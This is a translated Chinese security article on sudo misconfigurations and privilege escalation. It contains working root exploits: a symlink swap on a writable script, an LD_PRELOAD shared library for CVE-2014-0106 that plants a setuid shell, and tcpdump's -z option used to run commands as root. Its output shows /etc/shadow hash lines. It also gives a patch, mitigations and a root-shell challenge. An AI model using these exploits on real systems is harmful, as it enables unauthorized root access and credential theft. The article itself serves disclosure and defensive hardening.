概述 在处理安全相关的事务中,我们经常会发现服务器配置了权限管理的软件Sudo。和其它软件一样,配置Sudo也必须遵循最小特权的原则,用户只能被授予尽可能最小的特权来运行一些必要的任务或操作。因此,为了安全地配置Sudo,普通用户的权限必须被严格限制,他们仅能靠提升后的权限(通常是root用户的权限)合法地执行一组命令。 在实际应用中,根据最小特权原则配置的Sudo并不多见;即便有,也往往存在些许漏洞,我们利用这些漏洞就可以获取root权限。这样的话,就完蛋了,我们可以为所欲为! 这篇文章旨在给出一些错误和不安全配置的例子,这些是我们在安全评估中见到的并对生产环境造成了一定影响的例子。同时也告诉大家如何让自己的团队更加轻松地应对这些问题。 不安全的文件系统权限 考虑下面我们虚拟的用户“appadmin”的Sudo配置: 1 2 3 4 5 | $ sudo -l
[ sudo ] password for appadmin:
User appadmin may run the following commands on this host:
(root) /opt/Support/start .sh, (root) /opt/Support/stop .sh,
(root) /opt/Support/restart .sh, (root) /usr/sbin/lsof
|
目前看起来没什么问题。接着我们来看看以下脚本: 1 2 3 4 5 6 | $ ls -l /opt/Support/
total 4
-rwxr-xr-x 1 root root 37 Oct 3 14:06 restart.sh
-rwxr-xr-x 1 appadmin appadmin 53 Oct 3 14:03 start.sh
$ ls -ld /opt/Support
drwxr-xr-x 2 appadmin appadmin 4096 Oct 3 13:58 /opt/Support
|
这些文件和目录的权限没有问题吗?在这里,我们有几个选项来提升我们的权限: - 创建一个不存在的文件“stop.sh”
- 更改已存在的文件“start.sh”
- 移动文件“restart.sh”并创建另一个同名的文件
下面是第三种做法的演示: 1 2 3 4 5 6 | $ mv /opt/Support/restart .sh{,.bak}
$ ln -s /bin/bash /opt/Support/restart .sh
$ sudo /opt/Support/restart .sh
[ sudo ] password for appadmin:
uid=0(root) gid=0(root) groups =0(root)
|
Game?over!?:) 环境变量 考虑下面我们的用户“monitor”的Sudo配置: 1 2 3 4 5 6 | $ sudo -l
[ sudo ] password for monitor:
Matching Defaults entries for monitor on this host:
!env_reset
User monitor may run the following commands on this host:
(root) /etc/init .d /sshd
|
我们看到env_reset选项被禁用了!这就意味着我们可以更改我们被允许执行的命令的环境。根据Sudo版本的不同,我们可以通过传入环境变量来提升我们的权限,正如以下著名的漏洞那样: 同样需要知道的是,其它一些危险的环境变量也可能被我们滥用(PERL5OPT, PYTHONINSPECT 等等)。 应当指出,虽然,即使当env_reset被禁用,大多数危险的环境变量现在已经被Sudo根据默认的硬编码黑名单(hard-coded blacklist)删除了。使用root用户运行“sudo -V”查看“要删除的环境变量”这个黑名单。 不过,在版本低于1.8.5的Sudo中,我们发现通过命令行传递的环境变量不会被删除,尽管它们应该被删除。所以我们仍然可以利用和LD_PRELOAD类似的技术来提升我们的权限,下面给出了在最新版本的Red Hat企业版Linux 5.10系统中的例子(仅仅是少了最新的安全更新)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | $ rpm -q sudo
sudo -1.7.2p1-28.el5
$ cat > xoxo.c << 'LUL'
void _init()
{
if (!geteuid()) {
unsetenv( "LD_PRELOAD" );
unlink( "/tmp/libxoxo.so.1.0" );
setgid(0);
setuid(0);
execl( "/bin/sh" , "sh" , "-c" , "cp /bin/bash /tmp/.bash; chown 0:0 /tmp/.bash; /bin/chmod +xs /tmp/.bash" ,NULL);
}
}
LUL
$ gcc -o xoxo.o -c xoxo.c -fPIC
$ gcc -shared -Wl,-soname,libxoxo.so.1 -o /tmp/libxoxo .so.1.0 xoxo.o -nostartfiles
$ sudo LD_PRELOAD= /tmp/libxoxo .so.1.0 /etc/init .d /sshd blaaah
[ sudo ] password for monitor:
$ /tmp/ . bash -p -c 'id;head -n 1 /etc/shadow'
uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups =500(monitor)
root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
|
这个Bug位于文件sudo-1.8.4p5/plugins/sudoers/env.c的第685行,该处一个boolean比较操作没有被正确地执行。下面的补丁修复了这个问题: 1 2 3 4 5 6 7 8 9 10 11 | --- sudo -1.8.4p5 /plugins/sudoers/env .c 2012-03-30 04:37:01.000000000 +1100
+++ sudo -1.8.4p5-fixed /plugins/sudoers/env .c 2014-02-28 10:36:14.623915000 +1100
@@ -682,7 +682,7 @@
okvar = matches_env_keep(*ep);
} else {
okvar = matches_env_delete(*ep) == false ;
- if (okvar == false )
+ if (okvar == true )
okvar = matches_env_check(*ep) != false ;
}
if (okvar == false ) {
|
在1.8.5版本的Sudo中,受影响的代码实际上被更改和清理掉了,以这种“悄无声息”的方式修复了存在的问题。结果就是,在1.8.5及以上版本中,通过命令行传递的环境变量也被清除了。 需要注意的是RHEL5.10系统仍然是脆弱的,因为它附带了1.7.2p1版本(应用了先前的每一个安全补丁)。同样,RHEL从6.0到6.3兼容了一个1.7分支的版本。不过,RHEL6.4系统就要好一些,因为它附带了1.8.6p3版本。 我们负责任地向供应商披露了这些安全问题,在一周之内,该漏洞被命名为CVE-2014-0106,并公布了其中一些细节,同时发布了1.7.10p8安全补丁。虽然为受其影响的发行版开发的安全更新还未发布,一个简单的解决措施是不要禁用env_reset选项,这是系统默认的。 Escape to shell 考虑下面我们的用户“john”的Sudo配置: 1 2 3 4 | $ sudo -l
[ sudo ] password for john:
User john may run the following commands on this host:
(root) /usr/sbin/tcpdump
|
在这个例子中,john能够截获网络流量。这个任务本身对管理员来讲是完全合法的,那么会是什么出了问题呢?值得了解一下“-z postrotate -command”(在tcpdump 4.0.0版本中引入)这个选项: 1 2 3 4 5 6 7 8 9 10 | $ echo $ 'id\ncat /etc/shadow' > /tmp/ . test
$ chmod +x /tmp/ . test
$ sudo tcpdump - ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/ . test -Z root
[ sudo ] password for john:
tcpdump: listening on eth0, link- type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups =0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::
bin:*:15980:0:99999:7:::
...
|
注意“Z-root”需要基于RedHat的发行版(Fedora,CentOs等),因为它们在处理存储文件之前要修补TcpDump包来删除root权限。 那么,你能做些什么以避免Sudo的滥用?确保要仔细检查每一个获取提升后的权限来运行的程序,它们有可能直接获得root权限(a nice # prompt)。比如说,像vi或者less这样的程序,允许用户调用任意的shell命令(带!或者类似的),应该用更安全的同类程序,rvim和cat来代替它们。 想实战一下?接下来有个挑战,找出如何弹出一个root shell的方法。这里至少有两种方法可供我们参考,不过其中一种要比另一种更具侵略性,可以影响到系统的完整性。你可以在评论中给出你的解决办法。为了不削减趣味性,我们会在几个星期之后公布我们的和最原始的解决方法。系统环境是一个标准的CentOS 6.5系统,仅按“默认”的方式安装了zip包。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | $ cat /usr/local/bin/extract_docs .sh
zip -U /root/original-docs .zip -O /var/lib/extracted-docs .zip "$@"
$ ls -ld /root/original-docs .zip /usr/local/bin/ /usr/local/bin/extract_docs .sh /var/lib/ /var/lib/extracted-docs .zip
ls : cannot access /root/original-docs .zip: Permission denied
drwxr-xr-x. 2 root root 4096 Mar 12 17:02 /usr/local/bin/
-rwxr-xr-x. 1 root root 80 Mar 12 17:02 /usr/local/bin/extract_docs .sh
drwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/
-rw-r--r--. 1 root root 964 Mar 12 17:02 /var/lib/extracted-docs .zip
$ rpm -q zip
zip-3.0-1.el6.x86_64
$ sudo -l
[ sudo ] password for kevin:
Matching Defaults entries for kevin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS ", env_keep+=" MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE ", env_keep+=" LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES ", env_keep+=" LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE ", env_keep+=" LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path= /sbin \: /bin \: /usr/sbin \: /usr/bin
User kevin may run the following commands on this host:
(root) /usr/local/bin/extract_docs .sh
|
感谢阅读,现在把你的想法拿出来吧! 原文链接: securusglobal 翻译: 伯乐在线 - 冯钧 译文链接: http://blog.jobbole.com/68930/ |